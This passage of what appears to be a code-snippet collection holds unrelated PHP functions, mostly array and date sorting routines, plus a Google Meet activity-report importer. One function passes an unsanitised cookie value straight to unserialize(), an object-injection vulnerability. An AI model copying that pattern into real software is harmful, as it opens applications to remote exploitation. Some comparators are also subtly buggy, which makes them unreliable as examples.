{\n return $item['obj'];\n }, $array);\n }", "private static function sort()\n\t{\n\t\t//Setup order of importantance\n\t\t$changefreqs = array(\n\t\t\t'hourly' => 5,\n\t\t\t'daily' => 4,\n\t\t\t'weekly' => 3,\n\t\t\t'monthly' => 2,\n\t\t\t'yearly' => 1,\n\t\t\t'never' => 0\n\t\t);\n\n\t\t//Setup invidual arrays to sort by\n\t\tforeach(static::$links as $index => $link)\n\t\t{\n\t\t\t$priority[$index] = $link->priority ? $link->priority : 0;\n\t\t\t$changefreq[$index] = $link->changefreq ? $changefreqs[$link->changefreq] : 0;\n\t\t\t$loc[$index] = $link->loc;\n\t\t}\n\n\t\tarray_multisort($priority, SORT_DESC, $changefreq, SORT_DESC, $loc, SORT_ASC, static::$links);\n\t}", "function cmp($a, $b){\n if ((int)$a->date[0] == (int)$b->date[0]) {\n return 0;\n }\n return ((int)$a->date[0] > (int)$b->date[0]) ? -1 : 1;\n}", "function cmp($a, $b){\n if ((int)$a->date[0] == (int)$b->date[0]) {\n return 0;\n }\n return ((int)$a->date[0] > (int)$b->date[0]) ? -1 : 1;\n}", "function sort_notes($a, $b) {\n return strtotime($b['date']) - strtotime($a['date']);\n }", "public function asort()\n {\n }", "function sortByDate(array $a, array $b): int {\n return strtotime($b['publishDate']) - strtotime($a['publishDate']);\n}", "public function findAllTimesArray()\n {\n\n $times = $this->entityManager\n ->createQueryBuilder()\n ->select('t, d.date')\n ->from('SiowebDummyBundle:Test', 'd')\n ->leftJoin('SiowebDummyBundle:Time', 't', 'WITH', 'd.id = t.dateid')\n ->where('d.id LIKE t.dateid')\n ->andWhere('t.count != 0')\n ->orderBy('t.time', 'ASC')\n ->getQuery()\n ->getResult();\n\n\n $avaibledates = array();\n\n $i = 0;\n foreach ($times as $time ) {\n $avaibledates[$i]['date'] = $time['date']->format('d.m.Y');\n $avaibledates[$i]['time'] = $time[0]->getTime();\n $avaibledates[$i]['id'] = $time[0]->getId();\n $avaibledates[$i]['description'] = $time[0]->getDescription();\n $i++;\n }\n\n #return $avaibledates;\n\n return $avaibledates;\n }", "function spausdinti(array $ar)\n{\n\n if (isset($_COOKIE['filteredmasinos'])){\n $ar = unserialize($_COOKIE['filteredmasinos']);\n }\n\n\n usort($ar, function ($p1, $p2) {\n if ($p1->greitis() == $p2->greitis()) {\n return 0;\n } elseif ($p1->greitis() > $p2->greitis()) {\n return -1;\n }\n\n return 1;\n });\n\n\n\n\n foreach ($ar as $elem) {\n echo 'Data ir laikas: ' . $elem->date->format('Y-m-d H:i:s') . '<br>';\n echo 'Automobilio numeris: ' . $elem->number . '<br>';\n echo 'Nuvaziuotas atstumas metrais: ' . $elem->distance . '<br>';\n echo 'Sugaistas laikas sekundemis: ' . $elem->time . '<br>';\n echo '<b>Greitis: ' . $elem->greitis() . ' km/h </b><br>';\n echo '<br><br>';\n }\n\n}", "function data_sorter(){\n $client = getClient();\n $service = new Google_Service_Reports($client);\n\n // Print the last 10 login events.\n $userKey = 'all';\n $applicationName = 'meet';\n $optParams =[\n 'maxResults' => 1000,\n ];\n $results = $service->activities->listActivities(\n $userKey, $applicationName, $optParams);\n\n $fp_raw = fopen('results_raw.json', 'w');\n fwrite($fp_raw, serialize($results));\n fclose($fp_raw);\n\n\n $arrMeetData = [];\n $meeting_code =\"\";\n $duration_seconds= 0;\n $organizer_email = \"\";\n $display_name = \"\";\n $device_type = \"\";\n $identifier = \"\";\n $conference_id = \"\";\n $location_region =\"\";\n $screencast_send_bitrate_kbps_mean = 0;\n $screencast_recv_bitrate_kbps_mean = 0;\n $screencast_recv_seconds = 0;\n $screencast_send_seconds = 0;\n $date_meet =\"\";\n $hour_end_meet = \"\";\n $oldData = json_decode(file_get_contents('results.json'),true);\n\n foreach ($results->getItems() as $res){\n $duration_seconds_tmp =0;\n $tmp_time =explode(\"T\",$res->getId()->getTime());\n $date_meet = $tmp_time[0];\n $hour_end_meet = explode(\".\",$tmp_time[1])[0];\n foreach ($res->getEvents()[0]->getParameters() as $rest) {\n switch ($rest->getName()) {\n case \"meeting_code\":\n $meeting_code = $rest->value;\n break;\n case \"duration_seconds\":\n $duration_seconds = $rest->intValue;\n if($duration_seconds > $duration_seconds_tmp){\n $duration_seconds_tmp = $duration_seconds;\n }\n break;\n case \"organizer_email\":\n $organizer_email = $rest->value;\n break;\n case \"display_name\":\n $display_name = $rest->value;\n break;\n case \"device_type\":\n $device_type = $rest->value;\n break;\n case \"identifier\";\n $identifier = $rest->value;\n break;\n case \"conference_id\":\n $conference_id = $rest->value;\n break;\n case \"location_region\":\n $location_region = $rest->value;\n break;\n case \"screencast_send_bitrate_kbps_mean\":\n if($rest->value>$screencast_send_bitrate_kbps_mean){\n $screencast_send_bitrate_kbps_mean = $rest->value;\n }\n break;\n case \"screencast_recv_bitrate_kbps_mean\":\n if($rest->value>$screencast_recv_bitrate_kbps_mean){\n $screencast_recv_bitrate_kbps_mean = $rest->value;\n }\n break;\n case \"screencast_recv_seconds\":\n if($rest->value>$screencast_recv_seconds){\n $screencast_recv_seconds = $rest->value;\n }\n break;\n case \"screencast_send_seconds\":\n if($rest->value>$screencast_send_seconds){\n $screencast_send_seconds = $rest->value;\n }\n break;\n }\n }\n\n $id = $meeting_code.\"-\".$conference_id;\n\n if(!in_array($id,$oldData)){\n if(!array_key_exists($id,$arrMeetData)){\n $arrMeetData[$id]= [\n 'meeting_code'=>$meeting_code,\n 'conference_id' => $conference_id,\n 'duration_seconds'=>$duration_seconds_tmp,\n 'organizer_email'=>$organizer_email,\n 'date_meet'=>$date_meet,\n 'hour_end_meet' => $hour_end_meet,\n ];\n }\n\n if(!array_key_exists('participante',$arrMeetData[$id])){\n $arrMeetData[$id]['participante'] = [];\n }\n $arrMeetData[$id]['participante'][] = [\n 'display_name'=>$display_name,\n 'device_type'=>$device_type,\n 'identifier'=>$identifier,\n 'conference_id' => $conference_id,\n 'duration_seconds_in_call'=>$duration_seconds,\n 'location_region'=>$location_region,\n 'screencast_send_bitrate_kbps_mean'=>$screencast_send_bitrate_kbps_mean,\n 'screencast_recv_bitrate_kbps_mean'=>$screencast_recv_bitrate_kbps_mean,\n 'screencast_recv_seconds'=>$screencast_recv_seconds,\n 'screencast_send_seconds'=>$screencast_send_seconds\n ];\n }else{\n echo \"No existen nuevas entradas\";\n }\n\n }\n\n if(!empty($arrMeetData)){\n $database = new database();\n\n foreach ($arrMeetData as $meet){\n $database->meetData($meet['conference_id'],$meet['meeting_code'],$meet['duration_seconds'],$meet['organizer_email'],$meet['date_meet'],$meet['hour_end_meet']);\n foreach ($meet['participante'] as $meet_p){\n $database->meetParticipant($meet_p['display_name'],$meet_p['device_type'],$meet_p['identifier'],$meet_p['conference_id'],$meet_p['duration_seconds_in_call'],$meet_p['location_region'],$meet_p['screencast_send_bitrate_kbps_mean'],$meet_p['screencast_recv_bitrate_kbps_mean'],strval($meet_p['screencast_recv_seconds']),strval($meet_p['screencast_send_seconds']));\n }\n }\n $fp = fopen('results.json', 'w');\n fwrite($fp, json_encode($arrMeetData,JSON_UNESCAPED_UNICODE));\n fclose($fp);\n }else{\n echo \"Sin datos que agregar a sistema\";\n }\n\n}", "function print_result_time($sorted_array, $time){\n echo(\"#################################\\n\");\n echo(\"The result is :\\n\");\n print_r($sorted_array);\n echo(\"Execution time in micro seconds : \".\n number_format($time,7,',',' ').\" \\n\");\n echo(\"#################################\\n\");\n}", "public function sortPhoneData(){\n usort($this->phoneData, function($a, $b) {\n return $a['activationDate'] <=> $b['activationDate'];\n });\n\n }", "function sort_all_vehicles($shift_time)\r\n{\r\n\t//echo \"SHIFT TIME=\".$shift_time;\r\n\tif($shift_time==\"ZPME\")\r\n\t{\r\n\t\tglobal $vehicle_input_ev;\r\n\t\tglobal $route_input_ev;\r\n\t\tglobal $transporter_input_ev;\r\n\t\t\r\n\t\t/*for($x = 0; $x < sizeof($RouteNo_CI); $x++) \r\n\t\t{\r\n\t\t\t//echo \"<br>Vehicle:BEFORE_SORT=\".$Vehicle_CI[$x];\r\n\t\t}*/\r\n\t\t//echo \"\\nBS\";\r\n\t\tfor($x = 1; $x < sizeof($vehicle_input_ev); $x++) \r\n\t\t{\r\n\t\t\t$tmp_vehicle_ci = $vehicle_input_ev[$x];\r\n\t\t\t$tmp_route_ci = $route_input_ev[$x];\r\n\t\t\t$tmp_transporter_ci = $transporter_input_ev[$x];\t\t\t\r\n\t\t\t/////////// \t\t\t\t\r\n\r\n\t\t\t$z = $x - 1;\r\n\t\t\t$done = false;\r\n\t\t\twhile($done == false)\r\n\t\t\t{\r\n\t\t\t\t$vehicle_tmp1 = $vehicle_input_ev[$z];\t\t\t\r\n\t\t\t\t//echo \"<br>RouteTmp1=\".$route_tmp1.\" ,tmp_route_ci=\".$tmp_route_ci;\r\n\t\t\t\tif (trim($vehicle_tmp1) > trim($tmp_vehicle_ci))\r\n\t\t\t\t{\r\n\t\t\t\t\t$vehicle_input_ev[$z + 1] = $vehicle_input_ev[$z];\t\t\t\t\r\n\t\t\t\t\t$route_input_ev[$z + 1] = $route_input_ev[$z];\r\n\t\t\t\t\t$transporter_input_ev[$z + 1] = $transporter_input_ev[$z];\t\t\t\t\t\r\n\t\t\t\t\t//////////////////\r\n\t\t\t\t\t$z = $z - 1;\r\n\t\t\t\t\tif ($z < 0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$done = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$done = true;\r\n\t\t\t\t}\r\n\t\t\t} //WHILE CLOSED\r\n\r\n\t\t\t$vehicle_input_ev[$z + 1] = $tmp_vehicle_ci;\t\t\r\n\t\t\t$route_input_ev[$z + 1] = $tmp_route_ci;\r\n\t\t\t$transporter_input_ev[$z + 1] = $tmp_transporter_ci;\t\t\t\t\r\n\t\t}\r\n\t}\r\n\telse if($shift_time==\"ZPMM\")\r\n\t{\r\n\t\t//echo \"<br>ZPMM SHIFT SORT\";\r\n\t\tglobal $vehicle_input_mor;\r\n\t\tglobal $route_input_mor;\t\r\n\t\tglobal $transporter_input_mor;\r\n\t\t\r\n\t\t/*for($x = 0; $x < sizeof($RouteNo_CI); $x++) \r\n\t\t{\r\n\t\t\t//echo \"<br>Vehicle:BEFORE_SORT=\".$Vehicle_CI[$x];\r\n\t\t}*/\r\n\t\tfor($x = 1; $x < sizeof($vehicle_input_mor); $x++) \r\n\t\t{\r\n\t\t\t$tmp_vehicle_ci = $vehicle_input_mor[$x];\r\n\t\t\t$tmp_route_ci = $route_input_mor[$x];\r\n\t\t\t$tmp_transporter_ci = $transporter_input_mor[$x];\t\t\t\r\n\t\t\t/////////// \t\t\t\t\r\n\r\n\t\t\t$z = $x - 1;\r\n\t\t\t$done = false;\r\n\t\t\twhile($done == false)\r\n\t\t\t{\r\n\t\t\t\t$vehicle_tmp1 = $vehicle_input_mor[$z];\t\t\t\r\n\t\t\t\t//echo \"<br>RouteTmp1=\".$route_tmp1.\" ,tmp_route_ci=\".$tmp_route_ci;\r\n\t\t\t\tif (trim($vehicle_tmp1) > trim($tmp_vehicle_ci))\r\n\t\t\t\t{\r\n\t\t\t\t\t$vehicle_input_mor[$z + 1] = $vehicle_input_mor[$z];\t\t\t\t\r\n\t\t\t\t\t$route_input_mor[$z + 1] = $route_input_mor[$z];\r\n\t\t\t\t\t$transporter_input_mor[$z + 1] = $transporter_input_mor[$z];\t\t\t\t\t\r\n\t\t\t\t\t//////////////////\r\n\t\t\t\t\t$z = $z - 1;\r\n\t\t\t\t\tif ($z < 0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$done = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$done = true;\r\n\t\t\t\t}\r\n\t\t\t} //WHILE CLOSED\r\n\r\n\t\t\t$vehicle_input_mor[$z + 1] = $tmp_vehicle_ci;\t\t\r\n\t\t\t$route_input_mor[$z + 1] = $tmp_route_ci;\r\n\t\t\t$transporter_input_mor[$z + 1] = $tmp_transporter_ci;\t\t\t\r\n\t\t}\r\n\t\t//echo \"AS:morning sort\";\r\n\t}\r\n}", "function _modsort($a,$b){\n if($a['mtime'] < $b['mtime']) return -1;\n if($a['mtime'] > $b['mtime']) return 1;\n return strcmp($a['file'],$b['file']);\n }", "function _datesort($a,$b){\n $da = $this->_meta($a,'cdate');\n $db = $this->_meta($b,'cdate');\n if($da < $db) return -1;\n if($da > $db) return 1;\n return strcmp($a['file'],$b['file']);\n }", "function sortByDate($a, $b) \n{\n $aStats = explode ( \":\", $a );\n\t$bStats = explode ( \":\", $b );\n\t\n return -1 * (strcmp( $aStats[1],$bStats[1] ));\n}", "public function getSortedEvents() {\n\t\tif ($events = $this->getEvents()) {\n\t\t\tusort(\n\t\t\t\t$events, function ($a, $b) {\n\t\t\t\t\treturn $a['DTSTART'] > $b['DTSTART'];\n\t\t\t\t}\n\t\t\t);\n\t\t\treturn $events;\n\t\t}\n\t\treturn array();\n\t}", "abstract public function prepareSort();", "public final function manualSort(){\r\n\t\t$itemid=$this->itemid;\r\n\t\t$position=$this->sortarray;\r\n\t\t$newarray=array();\r\n\t\t$max=-1;\r\n\t\tforeach($this->sorteddata as $pmid){\r\n\t\t\t$i=$itemid[$pmid];\r\n\t\t\tif (!isset($position[$i])) continue;\r\n\t\t\t$newarray[$position[$i]]=$pmid;\r\n\t\t\tif ($max<$position[$i]) $max=$position[$i];\r\n\t\t}\r\n\t\tforeach($this->sorteddata as $pmid){\r\n\t\t\t$i=$itemid[$pmid];\r\n\t\t\tif (!isset($position[$i])) $newarray[++$max]=$pmid;\r\n\t\t}\r\n\t\t$this->sorteddata=$newarray;\r\n\t}", "protected function _sortByArray($array) {}", "public function getDateTimeStorage(): array\n {\n ksort($this->dateTimeStorage);\n\n return $this->dateTimeStorage;\n }", "function exp_activitySort($a,$b){\n return $b[\"session_count\"] - $a[\"session_count\"];\n}", "public function sortAppointmentsList($a, $b) {\nif ((strtotime($a['title']) !== false) && (strtotime($b['title']) !== false)) { // sort by time, if they're times\n\t$a = strtotime($a['title']);\n\t$b = strtotime($b['title']);\n} else { // if not, sort as text\n\t$a=preg_replace('~[^a-z0-9]~', '', strtolower($a['title']));\n\t$b=preg_replace('~[^a-z0-9]~', '', strtolower($b['title']));\n}\nreturn $a==$b ? 0 : ($a<$b) ? -1 : 1;\n}", "function sortThreads($threadArray)\n {\n\n \t$sortedThreads = array(\n\n \t\t\"head\" => array(),\n \t\t\"reply\" => array()\n\n \t\t);\n\n \tfor ($i=0; $i < count($threadArray); $i++) { \n\n \t\t$threadID = $threadArray[$i][1];\n \t\t$index = $threadArray[$i][4];\n \t\t$timestamp = $threadArray[$i][8];\n\n \t\t$splitPostDate \t= explode(\" \", $timestamp);\n \t\t$splitDate \t\t= explode(\"-\", $splitPostDate[0]);\n \t\t$splitTime \t\t= explode(\":\", $splitPostDate[1]);\n\n\t\t//$timestamp = (/*$splitDate[0] . $splitDate[1] . $splitDate[2]*/ \"\" . $splitTime[0] . $splitTime[1] . $splitTime[2]);\n\n \t\tif ($index == 0) {\n\n\t\t\t// add the first post in every thread to the array\n \t\t\tarray_push($sortedThreads[\"head\"], array(\n\n \t\t\t\t\"time\" => $timestamp, \n\n \t\t\t\t\"threadID\" => $threadID,\n\n \t\t\t\t\"index\" => $i\n\n \t\t\t\t));\n\n \t\t} else {\n\n \t\t\tif (count($sortedThreads[\"head\"]) != 0) {\n\n \t\t\t\tfor ($y=0; $y < count($sortedThreads[\"head\"]); $y++) { \n\n \t\t\t\t\t$time = $sortedThreads[\"head\"][$y][\"time\"];\n \t\t\t\t\t$id = $sortedThreads[\"head\"][$y][\"threadID\"];\n\n \t\t\t\t\tif ($id == $threadID) {\n\n\t\t\t\t\t\t/* compare the timestamp of the headpost with the replies\n\t\t\t\t\t\tand update it everytime if it's greater */\n\t\t\t\t\t\tif (($time < $timestamp)) {\n\n\t\t\t\t\t\t\t$sortedThreads[\"head\"][$y][\"time\"] = $timestamp;\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\tarray_push($sortedThreads[\"reply\"], array(\n\n\t\t\t\"time\" => $timestamp, \n\n\t\t\t\"threadID\" => $threadID,\n\n\t\t\t\"index\" => $i\n\n\t\t\t));\n\n\t}\n\n\t/* pretty basic sort function, string < string converts\n\tthe string into binary and then compares each index */\n\tusort($sortedThreads[\"head\"], function($a, $b) {\n\n\t\treturn $a['time'] < $b['time'];\n\n\t});\n\n\t// this is just for an easier time for the render function\n\t$processData = array();\n\t$x = 0;\n\tfor ($i=0;$i<count($sortedThreads[\"head\"]);$i++)\n\t{ \n\n\t\t$rawData = $threadArray[($sortedThreads[\"head\"][$i][\"index\"])];\n\t\t$index = $rawData[4];\n\t\t$threadID = $rawData[1];\n\n // check if post is OP\n\t\tif ($index == 0) {\n\n\t\t\t$processData[$x] = array();\n\t\t\t$processData[$x][0] = $rawData;\n\n\t\t\t$y = 1;\n\t\t\tforeach ($sortedThreads[\"reply\"] as $value)\n\t\t\t{\n\n\t\t\t\t$rawData = $threadArray[($value[\"index\"])];\n\n\t\t\t\tif ($rawData[4] != 0) {\n\n\t\t\t\t\tif ($rawData[1] == $threadID) {\n\n\t\t\t\t\t\t$processData[$x][$y] = $rawData;\n\t\t\t\t\t\t$y++;\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$x++;\n\n\t\t}\n\n\t}\n\n\treturn $processData;\n\n}", "public function sort()\n {\n /*\n * This arrange step takes O(n) time.\n *\n * Arrange the from and to locations for fast lookup.\n */\n self::arrangeBoardingCards();\n /*\n * This next step also takes O(n) time.\n */\n $startLocation = self::getStartLocation();\n /*\n * From the start location, traverse the boarding cards, creating a sorted list as we go.\n *\n * This step takes O(n) time.\n */\n $sortedBoardingCards = array();\n $currentLocation = $startLocation;\n /*\n * Assign respective boarding card while checking for undefined index\n */\n while ($currentBoardingCard = (array_key_exists($currentLocation, $this->fromIndex)) ? $this->fromIndex[$currentLocation] : null) {\n\n /*\n * Add the boarding card to our sorted list.\n */\n array_push($sortedBoardingCards, $currentBoardingCard);\n /*\n * Get our next location.\n */\n $currentLocation = $currentBoardingCard->getTo();\n }\n /*\n * After O(3n) operations, we can now return the sorted boarding cards.\n */\n return $sortedBoardingCards;\n }", "public function sort()\n {\n $this->getFirstAndLastCard();\n $this->sortCards();\n\n return $this->cardsArray;\n }", "public function sort_projects_by_date ()\n {\n\n }", "function theme_moove_order_courses_by_shortname(&$array_courses){\n\n $grouped_courses_array = array();\n $regular_courses_array = array();\n $no_regular_courses_array = array();\n $counter = 0;\n\n foreach($array_courses as $key=>&$course){\n\n $idcourse = $course->id;\n $timecreated = $this->theme_moove_get_timecreated_course($idcourse);\n $timemodified = $this->theme_moove_get_timemodified_course($idcourse);\n $categoryid = $this->theme_moove_get_course_category($idcourse);\n\n $course->timecreated = $timecreated;\n $course->timemodified = $timemodified;\n $course->categoryid = $categoryid;\n\n // Validación para cursos regulares\n if($course->categoryid >= 30001 && $course->categoryid <= 30999){\n\n array_push($regular_courses_array, $course);\n\n $explode_course_shortname = explode(\"-\", $course->shortname);\n\n // Se verifica que tenga en su nombre corto la especificación de fecha de creación\n // una vez identificada se le añade como atributo al curso\n if(count($explode_course_shortname) && preg_match(\"/^20/\", $explode_course_shortname[3])){\n $date_course = substr($explode_course_shortname[3], 0, -3);\n $course->date_course = $date_course;\n }\n\n }else{\n // Cursos no regulares\n array_push($no_regular_courses_array, $course);\n }\n }\n\n $this->array_sort_by($regular_courses_array, 'timecreated', $order = SORT_DESC);\n $this->array_sort_by($no_regular_courses_array, 'timecreated', $order = SORT_DESC);\n\n $grouped_courses_array['regular_courses'] = $regular_courses_array;\n $grouped_courses_array['no_regular_courses'] = $no_regular_courses_array;\n\n return $grouped_courses_array;\n }", "function sortSimpleXMLElementByDateTime($a, $b) {\n $reading1 = simplexml_load_string($a->asXML());\n $reading2 = simplexml_load_string($b->asXML());\n\n //get DATE and TIME formed together as DATETIME\n $date1 = createDateTime($reading1->attributes()->date, $reading1->attributes()->time);\n $date2 = createDateTime($reading2->attributes()->date, $reading2->attributes()->time);\n\n //return comparison\n return $date1->format(\"U\") - $date2->format(\"U\");\n}", "private static function compareTime($a, $b)\n {\n //From newest to oldest\n if(self::$SORTING == SORT_DESC) {\n return $b[\"created_at\"] - $a[\"created_at\"];\n } elseif(self::$SORTING == SORT_ASC) {\n return $a[\"created_at\"] - $b[\"created_at\"];\n }\n }", "function aasort(&$array, $key){ // Seu array e o campo a ser ordenado\r\n\t$sorter = array();\r\n\t$ret = array();\r\n\treset($array);\r\n\tforeach($array as $ii => $va){\r\n\t\t$sorter[$ii] = $va[$key];\r\n\t}\r\n\tasort($sorter);\r\n\tforeach($sorter as $ii => $va){\r\n\t\t$ret[$ii] = $array[$ii];\r\n\t}\r\n\treturn ($ret);\r\n}", "public function sortAndRecalculate()\n {\n $newMapping = sortArrayByStartValue($this->_map);\n\n //print \"\\nafter sorting\\n\";\n //foreach($this->_map as $map)\n // print long2ip($map['start']).'-'.long2ip($map['end']).\"\\n\";\n\n $mapKeys = array_keys($newMapping);\n $mapCount = count($newMapping);\n for( $i=0; $i<$mapCount; $i++)\n {\n $current = &$newMapping[$mapKeys[$i]];\n //print \"\\nhandling row \".long2ip($current['start']).'-'.long2ip($current['end']).\"\\n\";\n for( $j=$i+1; $j<$mapCount; $j++)\n {\n //$i++;\n $compare = &$newMapping[$mapKeys[$j]];\n\n //print \" vs \".long2ip($compare['start']).'-'.long2ip($compare['end']).\"\\n\";\n\n if( $compare['start'] > $current['end'] + 1 )\n break;\n\n if( $current['end'] < $compare['end'] )\n $current['end'] = $compare['end'];\n\n //print \" upgraded to \".long2ip($current['start']).'-'.long2ip($current['end']).\"\\n\";\n unset($newMapping[$mapKeys[$j]]);\n\n $i++;\n }\n }\n\n $this->_map = &$newMapping;\n }", "public function mySort(array $array);", "static function sort_meeting_data_callback (\t&$in_a,\t\t///< The first meeting array to compare\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t&$in_b\t\t///< The second meeting array to compare\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t{\n\t\t\t$ret = 0;\n\t\t\t\n\t\t\tif ( is_array ( $in_a ) && is_array ( $in_b ) && is_array ( napdf::$sort_order_keys ) )\n\t\t\t\t{\n\t\t\t\t// We reverse the array, in order to sort from least important to most important.\n\t\t\t\t$sort_keys = array_reverse ( napdf::$sort_order_keys, true );\n\n\t\t\t\tforeach ( $sort_keys as $key => $value )\n\t\t\t\t\t{\n\t\t\t\t\tif ( isset ( $in_a[$key] ) && isset ( $in_b[$key] ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t$val_a = trim ( $in_a[$key] );\n\t\t\t\t\t\t$val_b = trim ( $in_b[$key] );\n\n\t\t\t\t\t\tif ( ('weekday_tinyint' == $key) && (napdf::$week_starts > 1) && (napdf::$week_starts < 8) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$val_a -= napdf::$week_starts;\n\n\t\t\t\t\t\t\tif ( $val_a < 0 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$val_a += 8;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$val_a += 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$val_b -= napdf::$week_starts;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ( $val_b < 0 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$val_b += 8;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$val_b += 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// We know a few keys already, and we can determine how the sorting goes from there.\n\t\t\t\t\t\tswitch ( $key )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 'start_time':\n\t\t\t\t\t\t\tcase 'duration_time':\n\t\t\t\t\t\t\t\t$val_a = strtotime ( $val_a );\n\t\t\t\t\t\t\t\t$val_b = strtotime ( $val_b );\n\t\t\t\t\t\t\tcase 'weekday_tinyint':\n\t\t\t\t\t\t\tcase 'id_bigint':\n\t\t\t\t\t\t\tcase 'shared_group_id_bigint':\n\t\t\t\t\t\t\tcase 'service_body_bigint':\n\t\t\t\t\t\t\t\t$val_a = intval ( $val_a );\n\t\t\t\t\t\t\t\t$val_b = intval ( $val_b );\n\t\t\t\t\t\t\tcase 'longitude':\n\t\t\t\t\t\t\tcase 'latitude':\n\t\t\t\t\t\t\t\tif ( $val_a > $val_b )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$ret = 1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif ( $val_b > $val_a )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$ret = -1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t// We ignore blank values\n\t\t\t\t\t\t\t\tif ( strlen ( $val_a ) && strlen ( $val_b ) )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tmp = strcmp ( strtolower ( $val_a ), strtolower ( $val_b ) );\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif ( $tmp != 0 )\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$ret = $tmp;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ( !$value )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t$ret = -$ret;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\treturn $ret;\n\t\t\t}", "function get_apnt_times($starttime,$endtime){\r\n $vd[] = get_times($starttime, $endtime);\r\n return $flat = array_unique(call_user_func_array('array_merge', $vd));\r\n }", "function extSortUpcoming($aItem,$bItem){\n $aBegin = $aItem['mday'] ? $aItem['mday'] : $aItem['begin'];\n $bBegin = $bItem['mday'] ? $bItem['mday'] : $bItem['begin'];\n\n if($aBegin>$bBegin){\n return 1;\n }elseif($aBegin<$bBegin){\n return -1;\n }\n\n if($aItem['uid']<$bItem['uid']){\n return -1;\n }elseif($aItem['uid']>$bItem['uid'])\n return 1;\n return 0;\n }", "function timestamps_find_movement($tsA, $tsB, $threshold, &$movement){\n foreach ($tsA as $tsA_i => $tsA_v){\n foreach ($tsB as $tsB_i => $tsB_v){\n if (strtotime($tsB_v) > strtotime($tsA_v)){\n $diff = (strtotime($tsB_v) - strtotime($tsA_v));\n if ($diff < $threshold){\n $movement[] = array($tsA_v, $tsB_v, $diff);\n }\n break;\n }\n }\n } \n}", "public static function sortIndex($a,$b) {\n\t\t$a_time = strtotime($a['date']);\n\t\t$b_time = strtotime($b['date']);\n\t\tif ($a_time == $b_time) {\n\t\t\treturn 0;\n\t\t}\n\t\treturn ($a_time < $b_time) ? 1 : -1;\n\t}", "public function sortProductByCreatedAt()\n {\n $query=new \\yii\\db\\Query();\n return $sort=$query->from('product')->where(['status' => self::ACTIVE_STATUS])->orderBy('created_at DESC')->all();\n }", "function get_hourly_stats($log)\n{\n // Sort by date\n ksort($log);\n\n // Group hours\n $current_year = -1;\n $current_month = -1;\n $current_day = -1;\n $current_hour = -1;\n $current_temperatures = array();\n\n $timestamps = array_keys($log);\n $temperatures = array_values($log);\n $stats = array();\n for ($i = count($log)-1; $i >= 0; $i--) {\n $year = (int)date('Y', $timestamps[$i]);\n $month = (int)date('n', $timestamps[$i]);\n $day = (int)date('j', $timestamps[$i]);\n $hour = (int)date('G', $timestamps[$i]);\n//echo \"$timestamps[$i], $year, $month, $day<br/>\";\n\n if ($hour !== $current_hour) {\n // Store temperature values for current hour\n if (count($current_temperatures) > 0) {\n $k = mktime($current_hour, 0, 0, $current_month, $current_day, $current_year);\n $stats[$k] = array_median($current_temperatures);\n }\n $current_hour = $hour;\n $current_temperatures = array();\n }\n $current_temperatures[] = $temperatures[$i];\n\n if ($day !== $current_day)\n $current_day = $day;\n\n if ($month !== $current_month)\n $current_month = $month;\n\n if ($year !== $current_year)\n $current_year = $year;\n }\n if (count($current_temperatures) > 0) {\n $k = mktime($current_hour, 0, 0, $current_month, $current_day, $current_year);\n $stats[$k] = array_median($current_temperatures);\n//echo \"LAST HOUR: $k, $current_year<br/>\";\n }\n\n return $stats;\n}", "public function sort(): Collection\n {\n $this->uasort(function (Timespan $span1, Timespan $span2) {\n return $span1->compare($span2);\n });\n\n // make sure keys are reset\n $this->exchangeArray(array_values($this->getArrayCopy()));\n\n return $this;\n }", "function extSort($aItem,$bItem){\n $aBegin = $aItem['mday'] ? $aItem['mday'] : $aItem['begin'];\n $bBegin = $bItem['mday'] ? $bItem['mday'] : $bItem['begin'];\n\n if($aItem['allday']<$bItem['allday']){\n return 1;\n }elseif($aItem['allday']>$bItem['allday'])\n return -1;\n \n if($aBegin>$bBegin){\n return 1;\n }elseif($aBegin<$bBegin){\n return -1;\n }\n\n if($aItem['uid']<$bItem['uid']){\n return -1;\n 